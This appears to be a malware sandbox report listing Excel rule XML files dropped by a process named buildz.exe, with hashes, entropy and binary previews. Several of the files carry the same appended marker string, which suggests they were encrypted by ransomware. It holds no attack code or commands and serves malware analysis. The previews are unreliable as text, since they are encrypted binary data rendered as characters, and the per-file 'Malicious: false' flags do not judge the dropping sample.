....=....O9Wk..4..r..u],..j6..M.".M;....j@...@.V.<..].8....D<...`>.T{tW. .O..R.>.D..G.-...0.....K.+....xJ..'.u.X...g........ .1...c=A...K..T.C?....AZ;;..............;.2.. .A. .t.\|...A...lU.`3....E.....9.........Oy....#>v.?.....;Gh......../+..........k"bG...MP%...UF.E..2.<<...2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222101v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2075
Entropy (8bit):	7.90098514013272
Encrypted:	false
SSDEEP:	48:noRkiLNmzJZKBnOO1lglMJfdxjBRHwsjmwDoGjD:oRZEL5O1SledVHwsSwsGv
MD5:	BE52567F717D0A07802AED3C6146F87B
SHA1:	A2070A7FE36F165B2F730D41862F33A0CCA4EF63
SHA-256:	72F9B3A09FDEE96412F4857A5D109B8D7A9A616AC5B3BAACAABE4DF0FEB9B388
SHA-512:	4C8992BD79764508A38B0EB53D4ABCEDD0ADC87A897AB11D476F3AA0AB10B79AB5ABAC9278596725F3FFFA9196EBF6277D38E4EC0959D0AC0DEC426992168633
Malicious:	false
Reputation:	unknown
Preview:	<?xmlQ=<.....d......,.7a.i.....Y...+. . .......T>a.(JK.k..?....C...}13..ek..~.(....9T.....{z.qgh.W.,.1.Pv...e..l.).r....gN....[E.<....o...~...=........ 3r...T.X.$..m]..ZCl_h<}....E..../...m.a.k..[(..v .}0...JOSv..I..s......1...`.........u.wi.......`tnk..q..n.....\|..u.%........+{.G-..{.X.&..y,...0.X..n...7Lk..o!....{.%D.pU..m...L.'3.)$Z..`..Wi...t.W......%....._.../.U...#.p.#.+..e/.&.N..}TL?.CE....T0..h.....#a%..3.~RR...VO..8...3^...B..T.......c.....P].0/s...D"..zf.........cq%....+.?.X..N.\|..].5.R7.+J.....7...0&.mmY.Z...G..X.^..9..I.E.l..j.6x$......G.=...Qj#~YZ.X_.ZH.L........8...k.%.S):...C..5.H.wNn...Z..k.... G#t..q[...q<H..CA`..W.d..`..cAi...........A<hDl.... .H..mN:3..~I............Z.`mL.zg.......f..C......u..../.6..nW..C.6N.F.EYz{-b.}.aT...3..7..$....j.-..Y=...o5,..F$...C.U.,.9I=.My..2;m...t..<..]{.....O.p.V..'..z..c'..%...Yp..y.%"....j.^[>..z.L.Ij?'(...\.\|..WF...6......;...N.}..:O.<.r.].vbT.G.#.BZ.h"eQ...a..U....F.:...H.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222102v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	7.9108753636327345
Encrypted:	false
SSDEEP:	48:0QzbTLcNypigqWEvE9t3SmU1j7lDNgmmT1+15OopIvJXyS3VlpD:0QnfEywHWEvE9t3p4pWJo1YopIFt
MD5:	8AB57CF6085BDBB113AEC1BF0C17EB1F
SHA1:	2E02758F83DC0A70D8EC2EC5E88A88408336180A
SHA-256:	8BD5E4B3B3FEA10BA38B9A2975ED913A68153352C940E02D6EA98B3601126811
SHA-512:	EC5DA7DD35A7DBDA228B0707F1D1478F7A111101D6E75E2BD8E7B4A4540D413B5F6D139E666D8378230086A89A299F747FAD8CA77F93DD93850997A474C1BC2C
Malicious:	false
Reputation:	unknown
Preview:	<?xml.........:.].-....}h..C....t0..~.....au...t..u..Bq....M`....i...\|.@`5;%.......^.6.W...)R...lB.{.+.....sLv..ah:......y..,....&8...~i.~3...6........9.].g..._....a.......yg.....[D. ..0.G..Y.....9o+..w8.a..G..0.S..IY..-w......f.g...>.......~......o.i..5...p..........f...QV....p.F,.N.n14.F..o.....u.....O...;.l..b6.K.J\...ak..8..Tm.<z. r.....eST.....!.Ja.d.r.X..bf..\|......V.X.7....k..D.a0.#..B..H.h1.4..k.m......../....6x.S....'69..]v/.\|..7.m.]+g.a..~..F.q.......\...?.$....?-.....U..=r....\....t.,.@......w...k......)....n.....m.$.y.PM..8..06g...!#\|OD.(.p...)]C.r.1.[.....kH...L.v.%E.!R.H,.[."..t.7>1..3..2.9j..<B39....!. ....x.z.9C.'..R.#..A.......y.e....o.>....G.. ;.-;.9E......_..Z.......R=.o...A>.>.Y4r...'V.."!..B.d..lW/.yY.I. .1\DH-..W..\|9.9f.g. Z...(\[${..h.6...f..g.W K..?.^...K...{.KCa.2?b\.Ww.7.......\|....+...e.m..h......p...v.?...#..Z..."....U6..t'....m'O..(k.j.....G.rH.9.O.I../.....P..k.vE.r..([._l.@."$T:.g...k....&...s...^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule222200v5.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1563
Entropy (8bit):	7.892046867985562
Encrypted:	false
SSDEEP:	48:PxvyQyzLMrAHg+LciKu/5pm0Z1F/yDYbD:1SfVg+jKu/5pXyDYX
MD5:	DF4273B8798F88C8D5E8476555D62C12
SHA1:	B8C717657084E503420E7B775A1E5DC97D4ACC85
SHA-256:	C712797C83852F87DE79B5E6E5AF58F0F748949C27D55C5BA944CF3E6E38B82A
SHA-512:	48B2B1427C40C780361E1C4A55A69A53119B2A47311D2B0D9E67F8F4CE21A53F2BB65FEB120C7C2AAB41CE881D339AC49EC5F058D59B6D9269EEB3073335ACDC
Malicious:	false
Reputation:	unknown
Preview:	<?xml.m1.........\|.o...7.A...B.p..h.O..5.>@.^!..?N.U.W.,....h..X.O{. eQ..=.Xwt.S..3.7(.w....U.qQ..dO.jv...l..../..@.%.\..?.....Z.to..zG..9X..g.^.ee.SYD[.J1xk..PP..Z8...R.xdH....... h1.s<.uqs.........u....F..nNU&.......U.......4.....q5!!PNb...F.?....kf.%%...t.5....J..Oe.9......B..k'..p.9=!.....>.R..'.=..sv."l^......<...':.9.!=.....Wg1?.)%..$2.@....`U=.&...KasF.Y:....E....K.b..`x..%..i....9..hN...=6x13E.w...pY"..N.....g.FG....sNm...-..m.......H.f...3..T."`L..;H.C.D...7.T...I..0.i.^q$m.O.Q..'$"...}..6j;..0.Dxk.J......qv.....u.._..(..8..@.#..i'2.{.4O.M>3]..~........6y..X+(...Cq%l..\|..u..1.Mk.Q..O.$.Y...9.a..HKL...`.L...fK..4..z^.yx!. ..hj.n~..[.:dKI...t.s......H.K.Cj9.DZ.d..Ho...F......Qt>?.......Q_..R_;.WR....~.........s..a.Ho.a.L.x..US........#`....f.....<......~.z.....^Icr...]q...kf...B.....i...g.J E......{..Z..d.{.....N..1 .ET[.,?.........=#...u.ND..[\.+,"".WW.......Q..s......q....D.!eq...{<...C.o.Z.Zu...)D.C.m.8+.........js.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224008v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.736376653766982
Encrypted:	false
SSDEEP:	12:dNo59MAzjEFAIhXU6X5ki5LHaN+T+I0vjjT9Mbguk/MI5toFvrsdpz1+cii9a:dNiBz4VXUSkeFT+IG3TegN15GFvypAbD
MD5:	09CCE99FD12F0A9208D385DF33BE1B62
SHA1:	989843BB16F628E2C8138497B95EFD2DBCE7FD98
SHA-256:	B9314C5E77270D2DF3716B5F23ABA206587462437DC0C33BD0779C5146323780
SHA-512:	97A0BD9B95F9D86BB8C48869301D09C7D2E4D90BDA1B2EF7A3930C56C29483200407BD3C186EDB16FFB9D373255D92A818471E8522DF31C858C1F873B66E6C34
Malicious:	false
Reputation:	unknown
Preview:	<?xml....J...=.;...Z..h.'^~.QuRi:.\|}.p.g6.wG/..!.j(..F.^.)..u.#".."j/...![y..n2......EvK..2.w......."Tb.....U$.V..&...XA.e.I.RiX..`...@...m.0l..l..s..?A[.D+....$7.0..3.......=.3..W!S...A.....{..Q.e...].E.W.......f..._...<..7E..%.WW.w.>....X.k.{.Q,%.vx+.p..e.....O..S...&....[..T...._Gf.p....Hf.J.....m..M.......'.~.(%........-rQ.S....jK4...i....F1..b_.B1....L.\|..-...}.4EfG_.b....R.^G?G.N/....<..=V.xpu.].S>..X<.....,.+....h.....^..cww..t..jK.....M..<..O-.-';.b.D.hD.$.^.a. ...9..K..&..*..\..@...(...V.....o.>>.C_..e..s..~.i.^\UDw...._.....+....{.3.?...R..&.z..f.%./...Ar.......C.t.................d;.<.....w.QNEn..(..[.?...w...m.....-.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224010v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	785
Entropy (8bit):	7.70849247507415
Encrypted:	false
SSDEEP:	12:EBs1dqF2g078KDCueSLk7J4APaq35n0MqwdVbGr0tjKjSM8ywlc7mOY+uXf1+ciD:EpdA8co2APhXvVa0t8/RvmO39bD
MD5:	BCD00AB475588B13D4D73872CA8DD2CD
SHA1:	991AC44775C31DF0B9BF364E25F26BF3E1213553
SHA-256:	FECCDA51D2ED9A4DA84AA73DDF172AF5BB8FA8EA76A81CF8A2288CA3664C7CD6
SHA-512:	F9B145074C950318CD5A6A123B5A3E6251B0EDFFBFD6EBD504E43298564F61A7EBA08212B820B8A9E135A2331E71CD0E83E717EBF773D85080E1FBC8B2C3507F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.3.q..l.E2^h...2.`N.Z..\'l..B.-R....0...[....8....T.U~.h.......u%.s0.0.#...:UX...f....D..\.Q...B.,'.4.m#.t:.'ZTOj<...Z.......0fxJY...v..}....(.........q......g.-..%L.K.O<&,....Ie..n..\.9g@hgDA.>..M...8...]...Vf.....U....;..(...:.ns.L...F;-/J.2...P.1...."...f@.(d..m......~#.~...J.G1Sf.e..{...8.....O.O..7..\...x.L..a...D.6b.J8y...]./%P3n..q`5Px1.....z..O.D....\|..cyG..%.....Y...1+<~...S.y.[......&...g..>..\|......'GyX...M_.....Bq....\.L...o_....$.....)}.RL.rF<l.'......Vj...;.}....#...DL...3.m..'<.v...}...1W....._.s...w...e0p.\.3O$..Z;...2..<.*...M....A.$H.K..=Ww\.2...l..]..U......n...2.7z..........bP...XTQ.@.T...Ye...T.....i.`..^..3.W..@3....^0.9]N/a.7.'8P..#q...T7..,SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224011v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.824605109795501
Encrypted:	false
SSDEEP:	24:zdXSD5E9co31Wdkmw7w2stTBG3HmiHu3TDh26w5TtVzO+CLv8P3dObD:zVSa9T31YkmwZ7GSUEVO+svO+D
MD5:	C3B99370067264672FEBAFB3DCB0DCCD
SHA1:	458874F00C369D30E8B7952CD6804B72C253BF77
SHA-256:	8AE00080E179E4D843EEF78F777EDBBF13E6C26A6A256796660928829072001D
SHA-512:	F06B83E93ADE188F2F45E07D7E04D6214C20D75F6E1E09BB85572E3F719BF24BFCF45D3C9B85E29384EDB3480DAED7FAA5386183A1F0E570AD7B8A28A7E0A3B8
Malicious:	false
Reputation:	unknown
Preview:	<?xml..........6...AC7e...z#.5.F......3r.o....(...k..../D...\|e.Y.....a...u.V.%(.J...@....).B1.;.sl.;..:."BF.&O..5.....A..g...........K.....5R.@.).wn.\|#x_.B.."....&..T.g)#.."..O.d.$.n=.5.....eI.ms(J.5......^o.W.O...^^.S.o....4K.\|..........O..~.f..G.:....1X...m.........UP.V..n...(.....SrR.q.m.]c..\|..../.....dl....S.."...P..Za..K.).aP..>.h..`......t.q...n............D..6'..E.X.C0n...%\|.....`0...H<k(}H++.(......Cq..3+C.,.-..u.m..'......."=xP$........'P+[6..T..#.P..o!<]....vA..0....2..o.._....~7.......q.J.-....x...c..r.........p..6..`7..N.G..d.~..c..yz...i...."3.#...:Ib.....Q.OD\...Z'm.&...].2...5~1..i.MV.x.[M..x, ....=...Fc.8.cq.#.y...%(L..b..t..&.,Z...O.k....`?..`PO.{e;.l..)......\0...%r.x.(.Bq.Y....6.T..=.~=...3cIb.<L.I.l.'i...'..o.........\......:.{.Koaj.h}g.."R......h.+.1..J7U...]U..KOCo.6.RG.K....%..C..q.C.......M...nnVc.N.{K.O...-j4...%<[m[~!..~5@3Jp....1xs.[...v.A&D..^..j.'..r.N.\|..+..].#.."..}.?.....:eu.3ZE0o..V..k....\n....'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224012v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.673118354784467
Encrypted:	false
SSDEEP:	12:hUTdcoSzm64hpEchAyXn9uR4o4VWv8EimqJFghtnVThpWw/J5+4QrjnpyMd6zRox:kuoT3pEKAyXwk6qchDOw/J8rjnMFvIjX
MD5:	C9AF4012BB7A43519523F7FBF9902654
SHA1:	A862D740F64CF89E2934A247CF31992F8554EA88
SHA-256:	45352D4D17FAA05BF2C0C25FE7126C57163A9AE6C3282937E6D70AEFFC0919AC
SHA-512:	62F80780E90DDFB9B24669BB38FA8E4E701174D5DF5DEBE25013D6BB7D81B2E5E496E3FF1C7A2651C6E5534E4711BBE996127B99269D12E4D5B176F073D11D33
Malicious:	false
Reputation:	unknown
Preview:	<?xml_...+....7f..?.^wi6&.x.!9\|,.F..Y..O...:..!.W.^.....d!*g>....x........EgW..-.h.J........2J...%e..Bu..7......;R.-2(...=.O6v.G.)Y./.'.M.....2...I.n5OW.......~l..W..@.0vvg`....B;..M....N.P...\|.G...L4..d_.5..! .....Q.......4.:.mmQ.l..e^..C]mxs...<....#..N........CE.-.A{...y0.G.....W:.?dp..D.......o...q}\|..wo...=^7..Z..."-...`..(.%...Q..a...A.....$.Y.x..Mt..P....d.....Q.l+4.........a.Q+b.9.7.En...1.2.}..S,.R....>.m.WW:..t.-i.;.2}.g..fZ..K...F%......Y.C..d5....2/z.....]$E...G..6..\|.]c...J3...1e%.b.I;...#.g.yH....mc....$Q.c4.gz6.X\.w....K.a..W......J.Y8.....S../.Bf.............5=..,.Xo.m....O[Pg..0=...G+.%~P.0.....f.E........`..\|.bC4...O.G..;R,yUSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224013v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.842847985136117
Encrypted:	false
SSDEEP:	24:doPfh0ivHEtVbElrZSq9bYiOvXirhPiYMCSuyQZy4KLbD:doPfh0OktVGrHYiOvXirxibCSV9D
MD5:	9A2656D23038AC6826382189F978C707
SHA1:	BB81F3A67534FF758B14D41BE112D9930316804C
SHA-256:	4B3541BAC21419A523E13CADF87D884EA5E85C9BEC3B7E861A4CD2467822B70B
SHA-512:	30BD4A5B39494CD6FA62FE41DC16656FC400FF992A248FC4F32DAA75B6FED99DAD8652C1390BF276EB93187F832CC27E4BDBAA4AA19B10D8149C7E1DD1616937
Malicious:	false
Reputation:	unknown
Preview:	<?xml;/...p.T.e...# ...o..._..s.=.....A.W...k.g...F..+..Z..+..cGIV..2.C.w..w..x...;.KCo.w.................M.4.W.3..l=..-{.R7.q..c8........:.....",....j..u..\..m.<f?O.fy@.., .......jl....y.....1N.=../8...3Sm]...d.]....P............K,y....~j....=.#U....(..#.^............BH .`..i...'.'....q9'..f....\..^.....`~..........N. ....I......."...P.kAv...f..3.S..E..37..fC.....g[%[.......L...f...Xh...!.7^.Ge.o....JG.v.......K.B.]t...71.)SP5.h.R.b)...E.........O.(q.K.w0.b....!..-h" ..X...M..... .E...`.9m}0.S~.<.s-..>..4.~..........;..Y..0i]..10H..#.....v...U...2..M..0.B........~B.C..;4:..../{.\Y7-z..6F............&.@d).\|Wm.{..x.........q}....;..E-.9...... ...D}.E>.........Uo...`+...]a..o.l.B...@.T.l..........0..e...!U....Sky....R.I..]....v..?`.%...\.m..U..B58...I..0..7f...3.Y3....G.}%?8f...tP.c..y&.....^....0H...TS.....T(O.[.....(......5Z.....t...{i...a...n...._9.RD.$3...Tk-C..m;[..3.J.Z.....^.....f...p.V.u.o.;hU.RN...o.....;......>^)....C.G.m........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224059v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1600
Entropy (8bit):	7.8766053449279925
Encrypted:	false
SSDEEP:	48:GkcXsxO5no4QRRuyVhR+mT3fakd1wYh3D:PcXsxShkz3ik7P
MD5:	0E7F85E4A2CFE8128DF8C53D08C55DAC
SHA1:	549DD233A98C3F658AD73CBD2BE425DE0F395A08
SHA-256:	338400FDD8D8B3D488416499DAF6BE926AABC19D7F053DB685B692DF732507C1
SHA-512:	FB6BEAED295D59E2DF767764DBC33E54E62AA4D6D0F7AA87C423DE9F7D1D5853F7C003ACF57DE5364B8849D21A4290CEA4086BC46380FE5B3A8FC325B324C80B
Malicious:	false
Reputation:	unknown
Preview:	<?xml&Z....1[..7G.)wi....m.@.4_....S....w..1`'...~+.6..._.?..u...n.ZS:..7cwl4B..;...E.9...x..CP.t...db@.....`....B9....B.&\rG.....%......!...:..y...4.....~FP.5y..=....7..OW.r..u._.>.c.}....l].#..bvN.....H.yN%LUx.D..U.....I...$f.......%m..s.....P..+.....oW.....y......0;...w.&..e..2....2~:D.\?D.....\|..@.l.....4V...k<......%<....bf..).j..s.....9....I..- 2y.<)C..}.}.....R.......U...I..+.\....:... .=..d.6.hR.x.....4nx...S.c....gk\..5..W....L.e....fa./.......H.7J..w.J%....b[.\...p.P.....t.....s..$O..g.............:..~.......(.ED..N..~.........)o.Z...Z.;)'yC3..Y...>y.....M.<fO..+?5...K6.....{......`.z..v}$Gu....7A@}K...Z..h.#.. .,@y..E-..C.(.d...p....!.xIK.VG....nK1Ur"^O.y..M.E......j.\|.!d..W..h....t._....._.....G..........1......"J.H{..F...f.]..f.JI.\|I...j...1.?...I.4.T+~_T<..l..t........\..En...<e@gy.3...d..j/...........H.B..M...X.R~h.9.c..V.......a.K......2.0..9!..}.'.=..4pKr.&...... .z....l$d..S......c.@.x.68R*.fV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224060v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2578
Entropy (8bit):	7.921900670059954
Encrypted:	false
SSDEEP:	48:cPps16XyWwqHLluDxmrwLn47ccnzG8Ih90AVd/hjSZFN7syJbRD:Is8XyQrl88wMHzG8IHVd/lWFNo0Z
MD5:	59586A6E75C42C83E0D8315A758E9E23
SHA1:	FCD86A51BA21AF5CD4D61B79E9ADCF8968DBD0CC
SHA-256:	1FB1170B9ED0FBD26B24FC690859A7EB0BB29F963E198C981A05334ADA4B479B
SHA-512:	25648154860FEA7A8F6D31740280583BC581CC69AE1E12C010F129DACF32BA4549F508A838C9E0714FE26CBD5E869CB8D196D66D57EC3F8176EF774496EBC578
Malicious:	false
Reputation:	unknown
Preview:	<?xml.I...E_..3...\.`:!.,v...8Z<.....h#..31............G......C.X2.J~.......p.wG._vb_Y.W..."R.\.6....<.6..qM.-..].T........#...=K).o2.?^.T.....J.j..!..9a,.B...l.[..6...v.....)....oMZ.fO...I.L.X!.7..3.....D.H.DTW.0%..S.. ..DC;.q9U..96.w_...{.WY=q.66..}..a.hW.H!..2S......fOnyM]U...{...[.<gI:\|a.X&.9....J.c..7.. ..(.o.t}.{........pY.o.....MT...n{{.......#.a..@1L/"..,iI.5.\..........p.#1T...e...z..tVI.rZ.a..I......Y2...s...Ih..c.....l..{..X....Q..;z...U0d..o....9(..'....w......`..8R..OT..G..v[.6c.uG...'.U...}%.D.....,aB.u..]9$...A}...~.2Lu.$@.g.2.z..........2,.<{Ki.G.....;......Q.a~6..H.a.........b`..L...s.........=.a....3...B....r#z.I.....e../..%..m..Um=[.G&....<O..,.h...E........].....\|(/."].\..vc.2,.&@....H..QNN.....S[`..'...$...~E..-.KS0..A1.......IF%loO.fV<......T........$U..2).>.".m)..ow...93../..b..5...n..L......,5...^.}..d.....I+.IA...(..,;]G..M.o!.p.2......E..M..M.k.........m.....N>\..R.2.D..e.z..B.h....;...t.$P>..n.`..>..o.E\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224061v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1846
Entropy (8bit):	7.864784084773785
Encrypted:	false
SSDEEP:	48:tCfWCAkG70HLo0lPFd0TwUeQgMBtRBdS+9rKSD:tCfukUklPQTwUFPBq+pK6
MD5:	D382AC5D7A20116F4EF3C7EAD3D4115D
SHA1:	C20B3F0E5B2DB338CB04E54CCBF58F6DF7527004
SHA-256:	72E700D62B011180AA714DEDF22B930936FDC850F040518A91C212F38DCBEDFD
SHA-512:	B9EC6F2EA09E6CE4EED71B609EA5E522A0D9397AC04EAFE423C7E9D5F1EB9FE1F2C802A21355D1A6C7E831DDF65AF317D0C6D3372973E8AA570DD2CE769DC26F
Malicious:	false
Reputation:	unknown
Preview:	<?xml.\|.f..k....K&D>PX..;%z..aM.hE=......\|....L/...'.h4.VR//...W......d.\|..-f.!....Db.o.......B..W(..>pl<.+......z.Cj&9..F..........,..Jfw.k.-.>...?..X5@......yp].B(.<....3.....K.;.#.h.<&.T.a.....4n.....W)..G1p...[PI.W%...:..^....^]8/.C1;."...sSg.iE\|.D.#.At...j.H[.=.f......;........K..>......,.^3w..n....~.k..>......EK..............o;bYH.k.F.V..5.T..9e..TI "OO^.....C.M....f. T.....P..u...EN.n7E[.N..j.SYB.k.20.M..r.......ku.Mow.(...=..er.k.P.o.mpu....e....(.....6......V..E.F..k..\I.X"C.T.24...<m.B.......l.N...%...d.<X.;7..r..0X...l..2........td.w.+.....b7j.m.a.D....ft....xb.2+<...^......4.&R&.5...+.\=...cI.`i.K.'..IV.'3.....5).l}.J.%o.1.\|f.1.'..7.5..z.x. .@...b..\.F..j>.....I.z{......'%..`.0/....s.i.aV....=..P.~.m}..t.P..dw.PO..9...X......9f..m.c( .....nxc#..v....+..Bo\|5.JB.f.......z........x!......\|...th.t.E*:...5.L...n.PF.b.....\.f..J.N...u.c.\|.n..D.D..}.4.vl,..I..Wk=.)HyB&l.#L.G7!..&...ab.^....x(A.(9p.L>..at>l....S.1..tG..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224062v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.860201551056088
Encrypted:	false
SSDEEP:	24:iRDP5YBjd7SNIOzYJ7hHyQ4BUptXD9x7gLM8mNAF68VojVwXcbD:YT5SpmIOzYJkQ4BkFh2M8tkjVwmD
MD5:	ADA25A6A0017221C9C7F1660BC72C88C
SHA1:	334DA35D600C7524A2567E36635EF0F36CFA9A7C
SHA-256:	002B634B7ED6BA4863265A3FE4D6C2FD12AA2A32DED186DA338302939D1A639B
SHA-512:	B0F990B3FA47AA48459D711686C7811869F47A7E97D8FAA27C89D1A3A9F683F4D20A927E290321E8A8BE7322B1FCF87806BB1E219EB3C91ECAF5F97DAFE9E0C3
Malicious:	false
Reputation:	unknown
Preview:	<?xml...,..(.yy...H?+o.8...U.,.E.........k..m.>...{.uY............+.M.h.....1.......<.2..eC{R....v9H.6......R7.........Y.t.D.l.:....6.'...l..X..Uk....?mB#n.......+.E.t......;u...^fc.$..@.....+..........+...3...R........F`}."..N"^.M....=.]X...e.+.!.....a.;Q.\|.CjMm.^M.....[.....X..Y.7...Ok&.L.a.8 ...,.......dd.+..FL.<..7..~.....\|S.F...o.v...~..E....zO\|..ZK..'j..u9..j..B.....:..J.?.................L]I.....x.gK. ......gU.!v....2u..@..e...8....OMW..0..&.K.^..r,..n.K..)p.t/0Y..n^.Y...........[.f0....{......{..?W.}....4M?.n..$...G.(..;T..z.9tYB....wzV.{.sd.44..).....H.v[...-.V.....WV...p..t.+.W^...C.\.v...EQ.v7H.v\|Mn....J..;....&f`b....:r..R............?......."..p...._.BaJ...2.\|......X...'N..S..9....9...$....d.....~.G..@.Z.........`E..."...J#5K%...<6...o\|Bq.*..=Jr....^.V....-.T\. ..?.........t......g..) ...t.m.07....ML8.D .w.6.eX....E..g..5.t..{3......l....F..c.C....r.....f...!y,...%.S^..c....^...].A...G..s`.....KS4.^..&y........)...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224068v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2371
Entropy (8bit):	7.920285188665179
Encrypted:	false
SSDEEP:	48:mUkNV48yMdSRT6lybz34/fbOIjEjv0K/tchPcCSuLfTK6uem1DH3D:xkTXd8TtwfbNQjMDhUCScbK6udz
MD5:	824FBB8446EC8DBC1E4C90754F9A7E47
SHA1:	0EB4D5EF6B5784243076178CFA789EFDD3448D51
SHA-256:	BEECD75C77FD67B768132DC5FEC6591F777F9223BCA609C7D83CFAE5EEE8F083
SHA-512:	DD164AD6822D73C9E5A37C16D67E0B347D045BDF01FBF046C2679F804A2746304D6D7A0B6A3A3EFEC2E6C51A9789FF5713E4BC2EBB498D93B78349B3B6F71134
Malicious:	false
Reputation:	unknown
Preview:	<?xml8.K...l2..F...VJ.........~..V....e..i.R...%.U...r..9../....W\|..F..IG[...s3r..wvA..':V..$IPh.c...!.3.A_.4..u}.+..[.....T.t.:._...n......OFHx..M^.O.)........V..."y=.n......a...4.\Cu..q?L'.1.......9....3..dm..Q...."Q...5a..i..$l.6....6.3.@C...y(.p...x%?B....n.w.....;.P..h....N@....W%1...o.2.".h.}. ....:.;."....#.^.uQ...s.'........q4.].`..lQ..o..."~..-J..=sLq...hk8E...]k".6.6F...;.-.]@w.7..../.h.V.w.e..-.y.(T3.....}.b.b...F..11...u..K..L.....f4cu......\|..M.l..\|.:....b..[..HS.O.E.... .z.....0Lx......5... .....ALg.tu...a.H!m..of_.....]...W.L.....S.s.a.}.6qhW+3..2Vz.@...............O..;.......d......5V=o....:>.f....V..d........K.....g.3X...<,.r.....3j....&.&yJ.<1.;R....D.hz{..9E..h...zbc.Y.S.........f.....M.i2..L....j.q~..H.V.qB..~....t1...\.I..B....c.^m].`.b..../..S'.....V.W..XtA%....\..D..........2..'...\M.c..S..P."..}.X.4.a...\...OO..c.....(...i...\|.....p.}.;8..G.....3...rg.A.;.cZ.o......'c.....U..4....-(.....l.@...p.l.2.lG......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224072v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.697585590149449
Encrypted:	false
SSDEEP:	12:jms60ymzir3Lv/eDeGvaqp4mHVNRaFhn52Xrj3RK0pMXV5E5iXdu7Uq1+cii9a:jms60ymziDj/seGSk1NMFt52bj3R/MXD
MD5:	E29D1323C3E6676BAC0C9EE1BB4A856C
SHA1:	D658B95BB7979C02853DF68F929463AB582F3302
SHA-256:	4556038A565342019286CEA62A2994CDFEC537E038A87D4A2F85301BEC8ED153
SHA-512:	BFFA60A969C9BB118AF2F3CDE5B057886289E87F40D7AE07E5C714D53FDAC504596D621060DFEF613FC7C475F2AE317E3E4586AC7CAB8C2EA0B47F0F91DB76E7
Malicious:	false
Reputation:	unknown
Preview:	<?xmlbf.3..T..wyJB.....r...-.C.,......0....,.s...1/...!....<..x.L......u...6..~E,=...n......8. ...D.(.B.........s.[......:.f...z..[c3....W..@.Z..m.U.....g...h...%T\i.1nR(.F.S.H......Z....z.J..j:..?.N.!W..Hdk...W.Y.:X.....$..M0f....6h......'L.$.x....~.m..K..R..d...E......g.......m..M.7>/.uML.y.$.....U_...W9.e..]q..r+bYH4 >ZK....!V...Yi.I.........\|..V..kKS.......`...l.K...O.je..?Z.a.0Ht]...d~...X..>..b..g.(.is.....y.?.,w.}+.......2.7J.6...J...E.zk..(...)...!-^.gB.Z..Sm......L....U.o......B..@...u>i.O.5.[......-.a8...KK.;.b\.[...\|.A....)...J.].....)..!{.^+B(.v...-~..`...K.:Z....*t;.....&y>e..+0,....J..u..$..z.I4.O.....!]........&...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule224073v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.733867113381089
Encrypted:	false
SSDEEP:	24:HXfWqmrj0KNX8AVe9+yBznWY3bluqQ/MuR8bD:3EfBsAV+R3b0qQuD
MD5:	CE7EF41E34290494B41F610AA1E1BC2F
SHA1:	ACAEB357944A9922804E0A805DD8E30CD8BED39A
SHA-256:	E289C6BCA81F660E3C4D4B7CA61140B58B502903B8CE53465DA5D60A40A6443D
